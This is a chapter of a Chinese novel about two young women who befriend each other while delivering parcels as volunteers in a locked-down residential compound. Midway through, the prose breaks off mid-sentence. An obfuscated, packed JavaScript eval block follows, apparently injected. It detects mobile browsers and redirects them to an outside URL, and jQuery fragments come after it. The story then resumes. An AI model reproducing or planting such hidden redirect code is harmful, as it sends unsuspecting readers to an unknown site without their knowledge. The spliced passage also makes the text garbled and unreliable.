周六这天，是一个异常晴朗的春日。下午两点，季节戴着帽子口罩来到大门口，天空就像一片透明的蓝色玻璃。阿歆整装待发，站在一辆中号板车边向她招手，季节抓着小蓝衣和手套跑向她，两人今天一起当“派送的”。
周末的人手非常充足，每个货架前，记录号码的有一个人，排列包裹的有一个人，拎着壶消毒的有一个人，拖车派送的有若干人……大家以一种不紧不慢的节奏工作着，每个人都心平气和。
近来，货架上排列包裹的方式又有所改良，按照楼号从小到大，在货架从上到下、从左到右地摆放，同一楼号的摆在一起。快递爆满时，货架上放不下的包裹在地上排成纵队，小号靠近货架，大号远离货架，一路伸展向主干道深处，有一种春草绵延般的趋势。
这样一来，季节和阿歆一起往板车上捡快递时就十分省心，只需按顺序码货，先经过的楼号放在上层，后经过的楼号摞在底层。一辆中号板车就装走了一整个货架的包裹，季节向“门口的”借来记录单，与板车上的情况全面核对一遍，确认没有遗漏。阿歆则对“门口的”说：“我们这就出发，路上要一会儿，跟他们说大概过二十分钟再下楼取就行。”
说着，阿歆把手放上板车拉杆的左边，季节的手放上右边，两人一起推着板车，有说有笑地上路了。
季节问：“阿歆啊，你平时工作日也是来上白班吗？你们不用居家办公吗？”
阿歆爽快地答道：“我们这种机关工作，很多事只能用单位的电脑系统做，不能用自己的手提电脑，所以最近没有太多活，都等着解封以后去单位办呢。”
季节理解地说：“很多信息涉及保密，不能用自己的电脑登陆内网，对吧！我懂。”以前在事务所里，虽然可以在家登陆内网办公，但所里还是对员工进行了严格的合规培训，传授了很多信息保密经验，比如在咖啡馆里办公，要遮好屏幕，再比如去客户公司做保密项目时，在朋友圈里发动态绝对不可带地理定位。
阿歆说她工作了两年，比季节小一岁。两人年龄相仿，身形相仿，穿戴着一模一样的小蓝衣和蓝手套，一边聊天一边送货，阳光照在她们身上，像照着一对认识很多年的朋友。每到一栋楼前，季节和她一起从板车上翻出这栋楼的所有包裹，整齐地摆在楼门前的台阶上。阿歆还会提醒一句：“再看一眼楼号对不对。”于是两人猫腰伸着脖子，核对每个包裹上手写的代码，确认无误，再拖车离去。
季节看着手机屏幕，不停地将小区地图放大或缩小，尽职尽责地为这辆板车导航。跑运输到现在，已经过去一个多月，三街坊内各个弄的方位大致印在心中，甚至某个弄的某栋楼在哪里都有印象。这对季节来说就像做梦一样。她问阿歆：“你在三街坊住了多久了，以前逛过这小区吗？”
果然阿歆说：“从工作就租在这，可是你敢信吗，我从来没往小区深处走过！我住在最外面那排楼，跟你一样临街，每天下班回来直接进楼，没想到小区里面这么大。”
“我也一样！其实咱们小区在老房子里算还可以的，属于单身贵族的住所。”季节抬头看着周围的老楼，略带惆怅地说，“咱们租也只能租在这老破小，买也恐怕只能买老破小了——还得是攒很多年的钱以后。”
“我不买。”阿歆摇头说，“这片房子太老了，每次我看见有邻居叮叮咣咣装修，就想起一句话，老黄瓜刷绿漆，装嫩。”
季节仰头大笑起来，这次不仅把口罩笑得窜上去、边缘扎进眼睛里，她甚至觉得口罩快要笑裂了。板车在两个女孩联合的作用力下，喀啦喀啦地向前滑动驶去。阿歆听说季节处于离职后的空窗期，就向她推荐了一部又一部的书和电影。这里面有很多也是季节喜欢看的，季节顿时和她切磋起来，俩人如同年轻的大艺术家，自创了许多名词和理论，点评得头头是道。
阿歆说，我之前看了一部关于宇宙星空的电影，我的眼泪止不住地往外流，因为太震撼了。季节如遇知音，说我也曾经听音乐《淡水暮色》而泪流满面，因为太感人了。两人穿行于绿树繁花之间，走过某栋楼时，春风吹来，季节发现有一片彩色光芒在转动，就像漂浮的魔术一样，一时间两人都看入迷了。风渐渐停了，才发现那是一个银色为底、闪着七彩金属光泽的大风车，不知被哪个孩子，插在楼前的土地里……
几趟运输后，高峰期暂时过去，志愿者们闲适地候在门口。季节和阿歆站在车边说话，本杰明和雨披姐也过来加入。雨披姐说自己每次出来当班后，都希望家里有一套实验室用的消毒系统，比如风淋室。这样，她就不用担心把身上沾带的病毒传给孩子了。
说话间，一位快递师傅驾驶摩托风驰而至，跳下车后将一箱24瓶装的饮料放在991弄的货架上，掏出签字笔一挥，在箱子上写下一串号码。季节有所预感，冲上去一看，991-1-602，果然是自己在快闪超市里订购的一箱啤酒到了。她生怕别人细看，急忙扎下马步，一使劲两手拎起来，跟“门口的”打了个招呼，就小跑回自己的一号楼。
经过阿歆他们时，季节低声说：“我买的啤酒，先送回我家楼下。”
本杰明带头起哄：“喔呦，哎哟，了不起……”
阿歆也跟着逗季节：“哎哟，难得啊……”
近日，外卖软件上的货源比刚封城时增加了一些，运力也有所提高，直接使得居民饮食大大丰富，生活水平显著上升。但季节想起了最初当班的晚上，有人不知从哪里订到几杯奶茶，在困难时期占用了人力运力，被小条奚落了一句。她可不想被周围人奚落，所以先把啤酒放在自己楼下，然后才放心地回去当班，继续跟本杰明他们闲扯。
本杰明那几个进方舱的朋友已经陆续康复，可以在方舱打游戏，所以他大部分时间都在峡谷中和老朋友一起训练，偶尔才再和季节几人打一次。老D猜测他是要时不时品味一下输了的滋味，才能更好地戒骄戒躁。季节和本杰明交流了一会儿各种流派的打法，货架就又堆满了。阿歆拖来板车，两人再次码货出发。
沿着主干道向北走，太阳已经开始西斜，把六层老楼的影子拖得很长。一个骑自行车的大哥慢慢悠悠地蹬着车经过她们身边，就像一个出神的魂魄飘过。他的车上挂满了塑料袋和外卖。季节认出了他脖子上的大金链，发现他就是前几次见过的金链哥。今天他脚上穿了一双拖鞋，比以往更加随性从容。
阿歆等金链哥蹬远了，神秘地告诉季节：“那大哥每天都骑着自行车出来送几件货，顺便把自己订的烟什么的带回家。他说他要先做一件好事，再做一件坏事，免得良心不安。”
季节顿时对这位玩世不恭的大哥另眼相看，说：“其实我也是当初听到花泽……听到队长冒大雨送货，才觉得我也应该下来当志愿者，不应该光让别人服务我呀。我不是党员，一开始还找不到组织呢，都不知道怎么入伙。”
“我也不是党员，而且我是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738164|173962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偷偷来的。如果单位知道了，会有人把我写成宣传材料的，我不想被写。”阿歆很懂行地说，“你看，咱们都是容易愧疚的人，所以一定要自己也出来当班。”
到了傍晚五点，下午班的志愿者脱衣消毒，和晚班做好交接，就陆陆续续往家走去。天边逐渐铺展开的晚霞，就像一曲无声的下班曲一样欢送着他们，让季节想起有一首乐曲叫做《晚霞渐淡》，据说是日本公司的下班铃声。
阿歆拉了一下季节：“跟我来一下。”
季节跟着她往她住的地方走，感觉十分兴奋，一路上因为心虚而悄悄看着四周，生怕别人发现她要串楼。其实她自己也知道，路上偶尔经过一两个志愿者，谁认识她呢？又有谁知道她住哪个楼呢？即便如此，她还是觉得自己在打破不得串楼的规定，好像要把身上携带的细菌、病毒传播到其他楼，造成病毒的杂交变异……
阿歆和她一样，住在小区南边靠马路的一排楼，两人一个在最西边的1号楼，一个在最东边的24号楼。到了东边那栋楼下，看见树上结了野果。今年春天气温偏高，果树已然进入采摘期。阿歆指着树跟她说，这是枇杷，对他们老家福建的人来说，漂泊在外吃到枇杷，就代表着思乡。
季节看了一眼深绿的椭圆形枇杷叶，叶面好像有一层油润的蜡一样。她又看了一眼阿歆，觉得或许她也有时想念着老家的海。
阿歆带着季节上楼，给了她一大包吃的，里面有成盒的零食，还有硕大的黄澄澄的枇杷果，一看就是牌子货，不是在楼下摘的。季节哇了一声，感谢得不知如何是好：“歆啊，那你还够吗？给我一半就行了，多了我也吃不完……”
“这是我家里想办法给我邮来的，我也吃不完。”阿歆把大袋推回给她，“不要跟我客气，都拿着。”
季节自觉无以为报，虔诚而深情地说：“感恩常在。”
回家以后，季节特意问了负责排班的花泽类，小条最近晚上来不来？花泽类说，小条没说要来，新一周的排班表已经快要定了。想到小条大概又有新的报告要忙，季节决定这一周都和阿歆一起出下午班，便托付队长将她这周的排班改成下午。花泽类说，放心，你的cp交待过我，把你们排在一起。
不多时，花泽类果然把新的排班表发到大群里时，还特意当众对季节说：“我把你和你的cp安排在一起了。”
马克接口说道：“一个卧龙一个凤雏，队长你选的这一对多好啊。”
季节受宠若惊，觉得自己在群里第一次因为非公务的事情抛头露面，十分不安。点开排班表一看，的确从周一到周日的每天下午都有季节和阿歆，她们的名字总是挨在一起。然而，花泽类每次都把晓歆的名字写错，周一是小歆，周二是晓欣，周三是晓新……
于是在这崭新的一周，季节从每日的晚班变成了每日的下午班。这对cp经常互相进贡美食，每次订到了好东西，先留出一半，装在干净的食品盒里。待到当班结束后，去阿歆家里拿夜宵，回来就着啤酒狂欢，成了季节在五月的保留节目。
她本来想把啤酒分给阿歆，但拆开包装发现已经快要过期，大概是超市很久不进新货，只得作罢。不过她想，下次和小条夜游时倒是可以带给小条喝。她还想带他去看看那个旋转的大风车。这时已经是一周末尾，新一周的排班表又要确定了，她给小条发了消息：“明晚你来吗？”
过了很久，小条才回复：“你是谁啊，我们认识吗？”